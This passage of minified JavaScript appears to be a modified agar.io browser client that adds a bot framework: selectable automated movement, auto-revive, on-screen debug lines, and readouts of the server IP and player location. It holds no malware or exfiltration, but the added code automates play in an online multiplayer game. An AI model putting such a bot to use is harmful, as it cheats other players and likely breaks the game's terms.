if (70 == e.keyCode) { window.setShowMass(!getMassBool()); } if (69 == e.keyCode) { if (message.length > 0) { window.setMessage([]); window.onmouseup = function() {}; window.ignoreStream = true; } else { window.ignoreStream = false; window.refreshTwitch(); } } if (81 == e.keyCode) { console.log("ToggleFollowMouse"); toggleFollow = !toggleFollow; } } function humanPlayer() { //Don't need to do anything. var player = getPlayer(); var destination = []; for (var i = 0; i < player.length; i++) { destination.push([getPointX(), getPointY()]) } return destination; } function pb() { //UPDATE if (window.botList == null) { window.botList = []; window.jQuery('#locationUnknown').append(window.jQuery('<select id="bList" class="form-control" onchange="setBotIndex($(this).val());" />')); window.jQuery('#locationUnknown').addClass('form-group'); } window.jQuery('#nick').val(originalName); if (window.botList.length == 0) { window.botList.push(["Human", humanPlayer]); var bList = window.jQuery('#bList'); window.jQuery('<option />', { value: (window.botList.length - 1), text: "Human" }).appendTo(bList); } ya = !0; Pa(); setInterval(Pa, 18E4); var father = window.jQuery("#canvas").parent(); window.jQuery("#canvas").remove(); father.prepend("<canvas id='canvas'>"); G = za = document.getElementById("canvas"); f = G.getContext("2d"); G.onmousedown = function(a) { if (Qa) { var b = a.clientX - (5 + m / 5 / 2), c = a.clientY - (5 + m / 5 / 2); if (Math.sqrt(b * b + c * c) <= m / 5 / 2) { V(); H(17); return } } fa = a.clientX; ga = a.clientY; Aa(); V(); }; G.onmousemove = function(a) { fa = a.clientX; ga = a.clientY; Aa(); }; G.onmouseup = function() {}; /firefox/i.test(navigator.userAgent) ? document.addEventListener("DOMMouseScroll", Ra, !1) : document.body.onmousewheel = Ra; var a = !1, b = !1, c = !1; d.onkeydown = function(l) { //UPDATE if (!window.jQuery('#nick').is(":focus")) { 32 != l.keyCode || a || (V(), H(17), a = !0); 81 != l.keyCode || b || (H(18), b = !0); 87 != l.keyCode || c || (V(), H(21), c = !0); 27 == l.keyCode && Sa(!0); //UPDATE keyAction(l); } }; d.onkeyup = function(l) { 32 == l.keyCode && (a = !1); 87 == l.keyCode && (c = !1); 81 == l.keyCode && b && (H(19), b = !1); }; d.onblur = function() { H(19); c = b = a = !1 }; d.onresize = Ta; d.requestAnimationFrame(Ua); setInterval(V, 40); y && e("#region").val(y); Va(); ha(e("#region").val()); 0 == Ba && y && I(); W = !0; e("#overlays").show(); Ta(); d.location.hash && 6 <= d.location.hash.length && Wa(d.location.hash) } function Ra(a) { J *= Math.pow(.9, a.wheelDelta / -120 || a.detail || 0); //UPDATE 0.07 > J && (J = 0.07); J > 4 / h && (J = 4 / h) } function qb() { if (.4 > h) X = null; else { for (var a = Number.POSITIVE_INFINITY, b = Number.POSITIVE_INFINITY, c = Number.NEGATIVE_INFINITY, l = Number.NEGATIVE_INFINITY, d = 0, p = 0; p < v.length; p++) { var g = v[p]; !g.N() || g.R || 20 >= g.size * h || (d = Math.max(g.size, d), a = Math.min(g.x, a), b = Math.min(g.y, b), c = Math.max(g.x, c), l = Math.max(g.y, l)) } X = rb.ka({ ca: a - d + 100, da: b - d + 100, oa: c + d + 100, pa: l + d + 100, ma: 2, na: 4 }); for (p = 0; p < v.length; p++) if (g = v[p], g.N() && !(20 >= g.size * h)) for (a = 0; a < g.a.length; ++a) b = g.a[a].x, c = g.a[a].y, b < s - m / 2 / h || c < t - r / 2 / h || b > s + m / 2 / h || c > t + r / 2 / h || X.m(g.a[a]) } } function Aa() { //UPDATE if (selectedCell > 0 && selectedCell <= getPlayer().length) { setPoint(((fa - m / 2) / h + s), ((ga - r / 2) / h + t), selectedCell - 1); drawCircle(getPlayer()[selectedCell - 1].x, getPlayer()[selectedCell - 1].y, getPlayer()[selectedCell - 1].size, 8); drawCircle(getPlayer()[selectedCell - 1].x, getPlayer()[selectedCell - 1].y, getPlayer()[selectedCell - 1].size / 2, 8); } else if (selectedCell > getPlayer().length) { selectedCell = 0; } if (toggle || window.botList[botIndex][0] == "Human") { var startIndex = (selectedCell == 0 ? 0 : selectedCell - 1); for (var i = 0; i < getPlayer().length - (selectedCell == 0 ? 0 : 1); i++) { setPoint(((fa - m / 2) / h + s) + i, ((ga - r / 2) / h + t) + i, (i + startIndex).mod(getPlayer().length)); } } } function Pa() { null == ka && (ka = {}, e("#region").children().each(function() { var a = e(this), b = a.val(); b && (ka[b] = a.text()) })); e.get("https://m.agar.io/info", function(a) { var b = {}, c; for (c in a.regions) { var l = c.split(":")[0]; b[l] = b[l] || 0; b[l] += a.regions[c].numPlayers } for (c in b) e('#region option[value="' + c + '"]').text(ka[c] + " (" + b[c] + " players)") }, "json") } function Xa() { e("#adsBottom").hide(); e("#overlays").hide(); W = !1; Va(); d.googletag && d.googletag.pubads && d.googletag.pubads().clear(d.aa) } function ha(a) { a && a != y && (e("#region").val() != a && e("#region").val(a), y = d.localStorage.location = a, e(".region-message").hide(), e(".region-message." + a).show(), e(".btn-needs-server").prop("disabled", !1), ya && I()) } function Sa(a) { W || (K = null, sb(), a && (x = 1), W = !0, e("#overlays").fadeIn(a ? 200 : 3E3)) } function Y(a) { e("#helloContainer").attr("data-gamemode", a); P = a; e("#gamemode").val(a) } function Va() { e("#region").val() ? d.localStorage.location = e("#region").val() : d.localStorage.location && e("#region").val(d.localStorage.location); e("#region").val() ? e("#locationKnown").append(e("#region")) : e("#locationUnknown").append(e("#region")) } function sb() { la && (la = !1, setTimeout(function() { la = !0 //UPDATE }, 6E4 * Ya)) } function Z(a) { return d.i18n[a] || d.i18n_dict.en[a] || a } function Za() { var a = ++Ba; console.log("Find " + y + P); e.ajax("https://m.agar.io/", { error: function() { setTimeout(Za, 1E3) }, success: function(b) { a == Ba && (b = b.split("\n"), b[2] && alert(b[2]), Ca("ws://" + b[0], b[1])) }, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: (y + P || "?") + "\n154669603" }) } function I() { ya && y && (e("#connecting").show(), Za()) } function Ca(a, b) { if (q) { q.onopen = null; q.onmessage = null; q.onclose = null; try { q.close() } catch (c) {} q = null } Da.la && (a = "ws://" + Da.la); if (null != L) { var l = L; L = function() { l(b) } } if (tb) { var d = a.split(":"); a = d[0] + "s://ip-" + d[1].replace(/\./g, "-").replace(/\//g, "") + ".tech.agar.io:" + (+d[2] + 2E3) } M = []; k = []; E = {}; v = []; Q = []; F = []; z = A = null; R = 0; $ = !1; console.log("Connecting to " + a); //UPDATE serverIP = a; q = new WebSocket(a); q.binaryType = "arraybuffer"; q.onopen = function() { var a; console.log("socket open"); a = N(5); a.setUint8(0, 254); a.setUint32(1, 4, !0); O(a); a = N(5); a.setUint8(0, 255); a.setUint32(1, 154669603, !0); O(a); a = N(1 + b.length); a.setUint8(0, 80); for (var c = 0; c < b.length; ++c) a.setUint8(c + 1, b.charCodeAt(c)); O(a); $a() }; q.onmessage = ub; q.onclose = vb; q.onerror = function() { console.log("socket error") } } function N(a) { return new DataView(new ArrayBuffer(a)) } function O(a) { q.send(a.buffer) } function vb() { $ && (ma = 500); console.log("socket close"); setTimeout(I, ma); ma *= 2 } function ub(a) { wb(new DataView(a.data)) } function wb(a) { function b() { for (var b = "";;) { var d = a.getUint16(c, !0); c += 2; if (0 == d) break; b += String.fromCharCode(d) } return b } var c = 0; 240 == a.getUint8(c) && (c += 5); switch (a.getUint8(c++)) { case 16: xb(a, c); break; case 17: aa = a.getFloat32(c, !0); c += 4; ba = a.getFloat32(c, !0); c += 4; ca = a.getFloat32(c, !0); c += 4; break; case 20: k = []; M = []; break; case 21: Ea = a.getInt16(c, !0); c += 2; Fa = a.getInt16(c, !0); c += 2; Ga || (Ga = !0, na = Ea, oa = Fa); break; case 32: M.push(a.getUint32(c, !0)); c += 4; break; case 49: if (null != A) break; var l = a.getUint32(c, !0), c = c + 4; F = []; for (var d = 0; d < l; ++d) { var p = a.getUint32(c, !0), c = c + 4; F.push({ id: p, name: b() }) } ab(); break; case 50: A = []; l = a.getUint32(c, !0); c += 4; for (d = 0; d < l; ++d) A.push(a.getFloat32(c, !0)), c += 4; ab(); break; case 64: pa = a.getFloat64(c, !0); c += 8; qa = a.getFloat64(c, !0); c += 8; ra = a.getFloat64(c, !0); c += 8; sa = a.getFloat64(c, !0); c += 8; aa = (ra + pa) / 2; ba = (sa + qa) / 2; ca = 1; 0 == k.length && (s = aa, t = ba, h = ca); break; case 81: var g = a.getUint32(c, !0), c = c + 4, e = a.getUint32(c, !0), c = c + 4, f = a.getUint32(c, !0), c = c + 4; setTimeout(function() { S({ e: g, f: e, d: f }) }, 1200) } } function xb(a, b) { bb = C = Date.now(); $ || ($ = !0, e("#connecting").hide(), cb(), L && (L(), L = null)); var c = Math.random(); Ha = !1; var d = a.getUint16(b, !0); b += 2; for (var u = 0; u < d; ++u) { var p = E[a.getUint32(b, !0)], g = E[a.getUint32(b + 4, !0)]; b += 8; p && g && (g.X(), g.s = g.x, g.t = g.y, g.r = g.size, g.J = p.x, g.K = p.y, g.q = g.size, g.Q = C) } for (u = 0;;) { d = a.getUint32(b, !0); b += 4; if (0 == d) break; ++u; var f, p = a.getInt16(b, !0); b += 4; g = a.getInt16(b, !0); b += 4; f = a.getInt16(b, !0); b += 2; for (var h = a.getUint8(b++), w = a.getUint8(b++), m = a.getUint8(b++), h = (h << 16 | w << 8 | m).toString(16); 6 > h.length;) h = "0" + h; var h = "#" + h, w = a.getUint8(b++), m = !!(w & 1), r = !!(w & 16); w & 2 && (b += 4); w & 4 && (b += 8); w & 8 && (b += 16); for (var q, n = "";;) { q = a.getUint16(b, !0); b += 2; if (0 == q) break; n += String.fromCharCode(q) } q = n; n = null; E.hasOwnProperty(d) ? (n = E[d], n.P(), n.s = n.x, n.t = n.y, n.r = n.size, n.color = h) : (n = new da(d, p, g, f, h, q), v.push(n), E[d] = n, n.ua = p, n.va = g); n.h = m; n.n = r; n.J = p; n.K = g; n.q = f; n.sa = c; n.Q = C; n.ba = w; q && n.B(q); - 1 != M.indexOf(d) && -1 == k.indexOf(n) && (document.getElementById("overlays").style.display = "none", k.push(n), 1 == k.length && (s = n.x, t = n.y, db())) //UPDATE interNodes[d] = window.getCells()[d]; } //UPDATE Object.keys(interNodes).forEach(function(element, index) { //console.log("start: " + interNodes[element].updateTime + " current: " + D + " life: " + (D - interNodes[element].updateTime)); var isRemoved = !window.getCells().hasOwnProperty(element); if (isRemoved && (window.getLastUpdate() - interNodes[element].getUptimeTime()) > 3000) { delete interNodes[element]; } else { for (var i = 0; i < getPlayer().length; i++) { if (isRemoved && computeDistance(getPlayer()[i].x, getPlayer()[i].y, interNodes[element].x, interNodes[element].y) < getPlayer()[i].size + 710) { delete interNodes[element]; break; } } } }); c = a.getUint32(b, !0); b += 4; for (u = 0; u < c; u++) d = a.getUint32(b, !0), b += 4, n = E[d], null != n && n.X(); //UPDATE //Ha && 0 == k.length && Sa(!1) } //UPDATE function computeDistance(x1, y1, x2, y2) { var xdis = x1 - x2; // <--- FAKE AmS OF COURSE! var ydis = y1 - y2; var distance = Math.sqrt(xdis * xdis + ydis * ydis); return distance; } function screenDistance() { return Math.min(computeDistance(getOffsetX(), getOffsetY(), screenToGameX(getWidth()), getOffsetY()), computeDistance(getOffsetX(), getOffsetY(), getOffsetX(), screenToGameY(getHeight()))); } window.verticalDistance = function() { return computeDistance(screenToGameX(0), screenToGameY(0), screenToGameX(getWidth()), screenToGameY(getHeight())); } function screenToGameX(x) { return (x - getWidth() / 2) / getRatio() + getX(); } function screenToGameY(y) { return (y - getHeight() / 2) / getRatio() + getY(); } window.drawPoint = function(x_1, y_1, drawColor, text) { if (!toggleDraw) { dPoints.push([x_1, y_1, drawColor]); dText.push(text); } } window.drawArc = function(x_1, y_1, x_2, y_2, x_3, y_3, drawColor) { if (!toggleDraw) { var radius = computeDistance(x_1, y_1, x_3, y_3); dArc.push([x_1, y_1, x_2, y_2, x_3, y_3, radius, drawColor]); } } window.drawLine = function(x_1, y_1, x_2, y_2, drawColor) { if (!toggleDraw) { lines.push([x_1, y_1, x_2, y_2, drawColor]); } } window.drawCircle = function(x_1, y_1, radius, drawColor) { if (!toggleDraw) { circles.push([x_1, y_1, radius, drawColor]); } } function V() { //UPDATE if (getPlayer().length == 0 && !reviving && ~~(getCurrentScore() / 100) > 0) { console.log("Dead: " + ~~(getCurrentScore() / 100)); apos('send', 'pageview'); } if (getPlayer().length == 0) { console.log("Revive"); setNick(originalName); reviving = true; } else if (getPlayer().length > 0 && reviving) { reviving = false; } var a; if (T()) { a = fa - m / 2; var b = ga - r / 2; for (var i = 0; i < getPlayer().length; i++) { var tempID = getPlayer()[i].id; 64 > a * a + b * b || .01 > Math.abs(eb - ia[i]) && .01 > Math.abs(fb - ja[i]) || (eb = ia[i], fb = ja[i], a = N(21), a.setUint8(0, 16), a.setFloat64(1, ia[i], !0), a.setFloat64(9, ja[i], !0), a.setUint32(17, tempID, !0), O(a)) } } } function cb() { if (T() && $ && null != K) { var a = N(1 + 2 * K.length); a.setUint8(0, 0); for (var b = 0; b < K.length; ++b) a.setUint16(1 + 2 * b, K.charCodeAt(b), !0); O(a) } } function T() { return null != q && q.readyState == q.OPEN } window.opCode = function(a) { console.log("Sending op code."); H(parseInt(a)); } function H(a) { if (T()) { var b = N(1); b.setUint8(0, a); O(b) } } function $a() { if (T() && null != B) { var a = N(1 + B.length); a.setUint8(0, 81); for (var b = 0; b < B.length; ++b) a.setUint8(b + 1, B.charCodeAt(b)); O(a) } } function Ta() { m = d.innerWidth; r = d.innerHeight; za.width = G.width = m; za.height = G.height = r; var a = e("#helloContainer"); a.css("transform", "none"); var b = a.height(), c = d.innerHeight; b > c / 1.1 ? a.css("transform", "translate(-50%, -50%) scale(" + c / b / 1.1 + ")") : a.css("transform", "translate(-50%, -50%)"); gb() } function hb() { var a; a = Math.max(r / 1080, m / 1920); return a *= J } function yb() { if (0 != k.length) { for (var a = 0, b = 0; b < k.length; b++) a += k[b].size; a = Math.pow(Math.min(64 / a, 1), .4) * hb(); h = (9 * h + a) / 10 } } function gb() { //UPDATE dPoints = []; circles = []; dArc = []; dText = []; lines = []; var a, b = Date.now(); ++zb; C = b; if (0 < k.length) { yb(); for (var c = a = 0, d = 0; d < k.length; d++) k[d].P(), a += k[d].x / k.length, c += k[d].y / k.length; aa = a; ba = c; ca = h; s = (s + a) / 2; t = (t + c) / 2; } else s = (29 * s + aa) / 30, t = (29 * t + ba) / 30, h = (9 * h + ca * hb()) / 10; qb(); Aa(); Ia || f.clearRect(0, 0, m, r); Ia ? (f.fillStyle = ta ? "#111111" : "#F2FBFF", f.globalAlpha = .05, f.fillRect(0, 0, m, r), f.globalAlpha = 1) : Ab(); v.sort(function(a, b) { return a.size == b.size ? a.id - b.id : a.size - b.size }); f.save(); f.translate(m / 2, r / 2); f.scale(h, h); f.translate(-s, -t); //UPDATE f.save(); f.beginPath(); f.lineWidth = 5; f.strokeStyle = "#FFFFFF"; f.moveTo(getMapStartX(), getMapStartY()); f.lineTo(getMapStartX(), getMapEndY()); f.stroke(); f.moveTo(getMapStartX(), getMapStartY()); f.lineTo(getMapEndX(), getMapStartY()); f.stroke(); f.moveTo(getMapEndX(), getMapStartY()); f.lineTo(getMapEndX(), getMapEndY()); f.stroke(); f.moveTo(getMapStartX(), getMapEndY()); f.lineTo(getMapEndX(), getMapEndY()); f.stroke(); f.restore(); for (d = 0; d < v.length; d++) v[d].w(f); for (d = 0; d < Q.length; d++) Q[d].w(f); //UPDATE if (getPlayer().length > 0) { var moveLoc = window.botList[botIndex][1](toggleFollow); if (selectedCell > 0) { Aa(); } if (!toggle) { var startIndex = (selectedCell == 0 ? 0 : selectedCell); for (var i = 0; i < getPlayer().length - (selectedCell == 0 ? 0 : 1); i++) { setPoint(moveLoc[(i + startIndex).mod(getPlayer().length)][0], moveLoc[(i + startIndex).mod(getPlayer().length)][1], (i + startIndex).mod(getPlayer().length)); } } } customRender(f); if (Ga) { na = (3 * na + Ea) / 4; oa = (3 * oa + Fa) / 4; f.save(); f.strokeStyle = "#FFAAAA"; f.lineWidth = 10; f.lineCap = "round"; f.lineJoin = "round"; f.globalAlpha = .5; f.beginPath(); for (d = 0; d < k.length; d++) f.moveTo(k[d].x, k[d].y), f.lineTo(na, oa); f.stroke(); f.restore(); } f.restore(); z && z.width && f.drawImage(z, m - z.width - 10, 10); R = Math.max(R, Bb()); //UPDATE var currentDate = new Date(); var nbSeconds = 0; if (getPlayer().length > 0) { //nbSeconds = currentDate.getSeconds() + currentDate.getMinutes() * 60 + currentDate.getHours() * 3600 - lifeTimer.getSeconds() - lifeTimer.getMinutes() * 60 - lifeTimer.getHours() * 3600; nbSeconds = (currentDate.getTime() - lifeTimer.getTime())/1000; } bestTime = Math.max(nbSeconds, bestTime); var displayText = 'Score: ' + ~~(R / 100) + " Current Time: " + nbSeconds + " seconds."; 0 != R && (null == ua && (ua = new va(24, "#FFFFFF")), ua.C(displayText), c = ua.L(), a = c.width, f.globalAlpha = .2, f.fillStyle = "#000000", f.fillRect(10, r - 10 - 24 - 10, a + 10, 34), f.globalAlpha = 1, f.drawImage(c, 15, r - 10 - 24 - 5)); Cb(); b = Date.now() - b; b > 1E3 / 60 ? D -= .01 : b < 1E3 / 65 && (D += .01);.4 > D && (D = .4); 1 < D && (D = 1); b = C - ib; !T() || W ? (x += b / 2E3, 1 < x && (x = 1)) : (x -= b / 300, 0 > x && (x = 0)); 0 < x && (f.fillStyle = "#000000", f.globalAlpha = .5 * x, f.fillRect(0, 0, m, r), f.globalAlpha = 1); ib = C drawStats(f); } //UPDATE function customRender(d) { d.save(); for (var i = 0; i < lines.length; i++) { d.beginPath(); d.lineWidth = 5; if (lines[i][4] == 0) { d.strokeStyle = "#FF0000"; } else if (lines[i][4] == 1) { d.strokeStyle = "#00FF00"; } else if (lines[i][4] == 2) { d.strokeStyle = "#0000FF"; } else if (lines[i][4] == 3) { d.strokeStyle = "#FF8000"; } else if (lines[i][4] == 4) { d.strokeStyle = "#8A2BE2"; } else if (lines[i][4] == 5) { d.strokeStyle = "#FF69B4"; } else if (lines[i][4] == 6) { d.strokeStyle = "#008080"; } else if (lines[i][4] == 7) { d.strokeStyle = "#FFFFFF"; } else { d.strokeStyle = "#000000"; } d.moveTo(lines[i][0], lines[i][1]); d.lineTo(lines[i][2], lines[i][3]); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < circles.length; i++) { if (circles[i][3] == 0) { d.strokeStyle = "#FF0000"; } else if (circles[i][3] == 1) { d.strokeStyle = "#00FF00"; } else if (circles[i][3] == 2) { d.strokeStyle = "#0000FF"; } else if (circles[i][3] == 3) { d.strokeStyle = "#FF8000"; } else if (circles[i][3] == 4) { d.strokeStyle = "#8A2BE2"; } else if (circles[i][3] == 5) { d.strokeStyle = "#FF69B4"; } else if (circles[i][3] == 6) { d.strokeStyle = "#008080"; } else if (circles[i][3] == 7) { d.strokeStyle = "#FFFFFF"; } else { d.strokeStyle = "#000000"; } d.beginPath(); d.lineWidth = 10; //d.setLineDash([5]); d.globalAlpha = 0.3; d.arc(circles[i][0], circles[i][1], circles[i][2], 0, 2 * Math.PI, false); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < dArc.length; i++) { if (dArc[i][7] == 0) { d.strokeStyle = "#FF0000"; } else if (dArc[i][7] == 1) { d.strokeStyle = "#00FF00"; } else if (dArc[i][7] == 2) { d.strokeStyle = "#0000FF"; } else if (dArc[i][7] == 3) { d.strokeStyle = "#FF8000"; } else if (dArc[i][7] == 4) { d.strokeStyle = "#8A2BE2"; } else if (dArc[i][7] == 5) { d.strokeStyle = "#FF69B4"; } else if (dArc[i][7] == 6) { d.strokeStyle = "#008080"; } else if (dArc[i][7] == 7) { d.strokeStyle = "#FFFFFF"; } else { d.strokeStyle = "#000000"; } d.beginPath(); d.lineWidth = 5; var ang1 = Math.atan2(dArc[i][1] - dArc[i][5], dArc[i][0] - dArc[i][4]); var ang2 = Math.atan2(dArc[i][3] - dArc[i][5], dArc[i][2] - dArc[i][4]); d.arc(dArc[i][4], dArc[i][5], dArc[i][6], ang1, ang2, false); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < dPoints.length; i++) { if (dText[i] == "") { var radius = 10; d.beginPath(); d.arc(dPoints[i][0], dPoints[i][1], radius, 0, 2 * Math.PI, false); if (dPoints[i][2] == 0) { d.fillStyle = "black"; } else if (dPoints[i][2] == 1) { d.fillStyle = "yellow"; } else if (dPoints[i][2] == 2) { d.fillStyle = "blue"; } else if (dPoints[i][2] == 3) { d.fillStyle = "red"; } else if (dPoints[i][2] == 4) { d.fillStyle = "#008080"; } else if (dPoints[i][2] == 5) { d.fillStyle = "#FF69B4"; } else { d.fillStyle = "#000000"; } d.fill(); d.lineWidth = 2; d.strokeStyle = '#003300'; d.stroke(); } else { var text = new va(18, (getDarkBool() ? '#F2FBFF' : '#111111'), true, '#000000'); text.C(dText[i]); var textRender = text.L(); d.drawImage(textRender, dPoints[i][0], dPoints[i][1]); } } d.restore(); } function drawStats(d) { d.save() sessionScore = Math.max(getCurrentScore(), sessionScore); var debugStrings = []; debugStrings.push("Current Bot: " + window.botList[botIndex][0]); debugStrings.push("T - Bot: " + (!toggle ? "On" : "Off")); debugStrings.push("R - Lines: " + (!toggleDraw ? "On" : "Off")); debugStrings.push("Q - Follow Mouse: " + (toggleFollow ? "On" : "Off")); debugStrings.push("S - Manual Cell: " + (selectedCell == 0 ? "None" : selectedCell) + " of " + getPlayer().length); debugStrings.push(""); debugStrings.push("Best Score: " + ~~(sessionScore / 100)); debugStrings.push("Best Time: " + bestTime + " seconds"); debugStrings.push(""); debugStrings.push(serverIP); if (getPlayer().length > 0) { var offsetX = -getMapStartX(); var offsetY = -getMapStartY(); debugStrings.push("Location: " + Math.floor(getPlayer()[0].x + offsetX) + ", " + Math.floor(getPlayer()[0].y + offsetY)); } var offsetValue = 20; var text = new va(18, (getDarkBool() ? '#F2FBFF' : '#111111')); for (var i = 0; i < debugStrings.length; i++) { text.C(debugStrings[i]); var textRender = text.L(); d.drawImage(textRender, 20, offsetValue); offsetValue += textRender.height; } if (message.length > 0) { var mRender = []; var mWidth = 0; var mHeight = 0; for (var i = 0; i < message.length; i++) { var mText = new va(28, '#FF0000', true, '#000000'); mText.C(message[i]); mRender.push(mText.L()); if (mRender[i].width > mWidth) { mWidth = mRender[i].width; } mHeight += mRender[i].height; } var mX = getWidth() / 2 - mWidth / 2; var mY = 20; d.globalAlpha = 0.4; d.fillStyle = '#000000'; d.fillRect(mX - 10, mY - 10, mWidth + 20, mHeight + 20); d.globalAlpha = 1; var mOffset = mY; for (var i = 0; i < mRender.length; i++) { d.drawImage(mRender[i], getWidth() / 2 - mRender[i].width / 2, mOffset); mOffset += mRender[i].height; } } d.restore(); } function Ab() { f.fillStyle = ta ? "#111111" : "#F2FBFF"; f.fillRect(0, 0, m, r); f.save(); f.strokeStyle = ta ? "#AAAAAA" : "#000000"; f.globalAlpha = .2 * h; for (var a = m / h, b = r / h, c = (a / 2 - s) % 50; c < a; c += 50) f.beginPath(), f.moveTo(c * h - .5, 0), f.lineTo(c * h - .5, b * h), f.stroke(); for (c = (b / 2 - t) % 50; c < b; c += 50) f.beginPath(), f.moveTo(0, c * h - .5), f.lineTo(a * h, c * h - .5), f.stroke(); f.restore() } function Cb() { if (Qa && Ja.width) { var a = m / 5; f.drawImage(Ja, 5, 5, a, a) } } function Bb() { for (var a = 0, b = 0; b < k.length; b++) a += k[b].q * k[b].q; return a } function ab() { z = null; if (null != A || 0 != F.length) if (null != A || wa) { z = document.createElement("canvas"); var a = z.getContext("2d"), b = 60, b = null == A ? b + 24 * F.length : b + 180, c = Math.min(200, .3 * m) / 200; z.width = 200 * c; z.height = b * c; a.scale(c, c); a.globalAlpha = .4; a.fillStyle = "#000000"; a.fillRect(0, 0, 200, b); a.globalAlpha = 1; a.fillStyle = "#FFFFFF"; c = null; c = Z("leaderboard"); a.font = "30px Ubuntu"; a.fillText(c, 100 - a.measureText(c).width / 2, 40); if (null == A) for (a.font = "20px Ubuntu", b = 0; b < F.length; ++b) c = F[b].name || Z("unnamed_cell"), wa || (c = Z("unnamed_cell")), -1 != M.indexOf(F[b].id) ? (k[0].name && (c = k[0].name), a.fillStyle = "#FFAAAA") : a.fillStyle = "#FFFFFF", c = b + 1 + ". " + c, a.fillText(c, 100 - a.measureText(c).width / 2, 70 + 24 * b); else for (b = c = 0; b < A.length; ++b) { var d = c + A[b] * Math.PI * 2; a.fillStyle = Db[b + 1]; a.beginPath(); a.moveTo(100, 140); a.arc(100, 140, 80, c, d, !1); a.fill(); c = d } } } function Ka(a, b, c, d, e) { this.V = a; this.x = b; this.y = c; this.i = d; this.b = e } function da(a, b, c, d, e, p) { this.id = a; this.s = this.x = b; this.t = this.y = c; this.r = this.size = d; this.color = e; this.a = []; this.W(); this.B(p) } function va(a, b, c, d) { a && (this.u = a); b && (this.S = b); this.U = !!c; d && (this.v = d) } function S(a, b) { var c = "1" == e("#helloContainer").attr("data-has-account-data"); e("#helloContainer").attr("data-has-account-data", "1"); if (null == b && d.localStorage.loginCache) { var l = JSON.parse(d.localStorage.loginCache); l.f = a.f; l.d = a.d; l.e = a.e; d.localStorage.loginCache = JSON.stringify(l) } if (c) { var u = +e(".agario-exp-bar .progress-bar-text").first().text().split("/")[0], c = +e(".agario-exp-bar .progress-bar-text").first().text().split("/")[1].split(" ")[0], l = e(".agario-profile-panel .progress-bar-star").first().text(); if (l != a.e) S({ f: c, d: c, e: l }, function() { e(".agario-profile-panel .progress-bar-star").text(a.e); e(".agario-exp-bar .progress-bar").css("width", "100%"); e(".progress-bar-star").addClass("animated tada").one("webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend", function() { e(".progress-bar-star").removeClass("animated tada") }); setTimeout(function() { e(".agario-exp-bar .progress-bar-text").text(a.d + "/" + a.d + " XP"); S({ f: 0, d: a.d, e: a.e }, function() { S(a, b) }) }, 1E3) }); else { var p = Date.now(), g = function() { var c; c = (Date.now() - p) / 1E3; c = 0 > c ? 0 : 1 < c ? 1 : c; c = c * c * (3 - 2 * c); e(".agario-exp-bar .progress-bar-text").text(~~(u + (a.f - u) * c) + "/" + a.d + " XP"); e(".agario-exp-bar .progress-bar").css("width", (88 * (u + (a.f - u) * c) / a.d).toFixed(2) + "%"); 1 > c ? d.requestAnimationFrame(g) : b && b() }; d.requestAnimationFrame(g) } } else e(".agario-profile-panel .progress-bar-star").text(a.e), e(".agario-exp-bar .progress-bar-text").text(a.f + "/" + a.d + " XP"), e(".agario-exp-bar .progress-bar").css("width", (88 * a.f / a.d).toFixed(2) + "%"), b && b() } function jb(a) { "string" == typeof a && (a = JSON.parse(a)); Date.now() + 18E5 > a.ja ? e("#helloContainer").attr("data-logged-in", "0") : (d.localStorage.loginCache = JSON.stringify(a), B = a.fa, e(".agario-profile-name").text(a.name), $a(), S({ f: a.f, d: a.d, e: a.e }), e("#helloContainer").attr("data-logged-in", "1")) } function Eb(a) { a = a.split("\n"); jb({ name: a[0], ta: a[1], fa: a[2], ja: 1E3 * +a[3], e: +a[4], f: +a[5], d: +a[6] }) } function La(a) { if ("connected" == a.status) { var b = a.authResponse.accessToken; d.FB.api("/me/picture?width=180&height=180", function(a) { d.localStorage.fbPictureCache = a.data.url; e(".agario-profile-picture").attr("src", a.data.url) }); e("#helloContainer").attr("data-logged-in", "1"); null != B ? e.ajax("https://m.agar.io/checkToken", { error: function() { B = null; La(a) }, success: function(a) { a = a.split("\n"); S({ e: +a[0], f: +a[1], d: +a[2] }) }, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: B }) : e.ajax("https://m.agar.io/facebookLogin", { error: function() { B = null; e("#helloContainer").attr("data-logged-in", "0") }, success: Eb, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: b }) } } function Wa(a) { Y(":party"); e("#helloContainer").attr("data-party-state", "4"); a = decodeURIComponent(a).replace(/.*#/gim, ""); Ma("#" + d.encodeURIComponent(a)); e.ajax(Na + "//m.agar.io/getToken", { error: function() { e("#helloContainer").attr("data-party-state", "6") }, success: function(b) { b = b.split("\n"); e(".partyToken").val("agar.io/#" + d.encodeURIComponent(a)); e("#helloContainer").attr("data-party-state", "5"); Y(":party"); Ca("ws://" + b[0], a) }, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: a }) } function Ma(a) { d.history && d.history.replaceState && d.history.replaceState({}, d.document.title, a) } if (!d.agarioNoInit) { var Na = d.location.protocol, tb = "https:" == Na, xa = d.navigator.userAgent; if (-1 != xa.indexOf("Android")) d.ga && d.ga("send", "event", "MobileRedirect", "PlayStore"), setTimeout(function() { d.location.href = "market://details?id=com.miniclip.agar.io" }, 1E3); else if (-1 != xa.indexOf("iPhone") || -1 != xa.indexOf("iPad") || -1 != xa.indexOf("iPod")) d.ga && d.ga("send", "event", "MobileRedirect", "AppStore"), setTimeout(function() { d.location.href = "https://itunes.apple.com/app/agar.io/id995999703" }, 1E3); else { var za, f, G, m, r, X = null, //UPDATE toggle = false, toggleDraw = false, toggleFollow = false, tempPoint = [0, 0, 1], dPoints = [], circles = [], dArc = [], dText = [], lines = [], names = ["-|0_0|-"], originalName = names[Math.floor(Math.random() * names.length)], sessionScore = 0, serverIP = "", interNodes = [], lifeTimer = new Date(), bestTime = 0, botIndex = 0, reviving = false, message = [], selectedCell = 0, q = null, s = 0, t = 0, M = [], k = [], E = {}, v = [], Q = [], F = [], fa = 0, ga = 0, //UPDATE ia = [-1], ja = [-1], zb = 0, C = 0, ib = 0, K = null, pa = 0, qa = 0, ra = 1E4, sa = 1E4, h = 1, y = null, kb = !0, wa = !0, Oa = !1, Ha = !1, R = 0, ta = !1, lb = !1, aa = s = ~~((pa + ra) / 2), ba = t = ~~((qa + sa) / 2), ca = 1, P = "", A = null, ya = !1, Ga = !1, Ea = 0, Fa = 0, na = 0, oa = 0, mb = 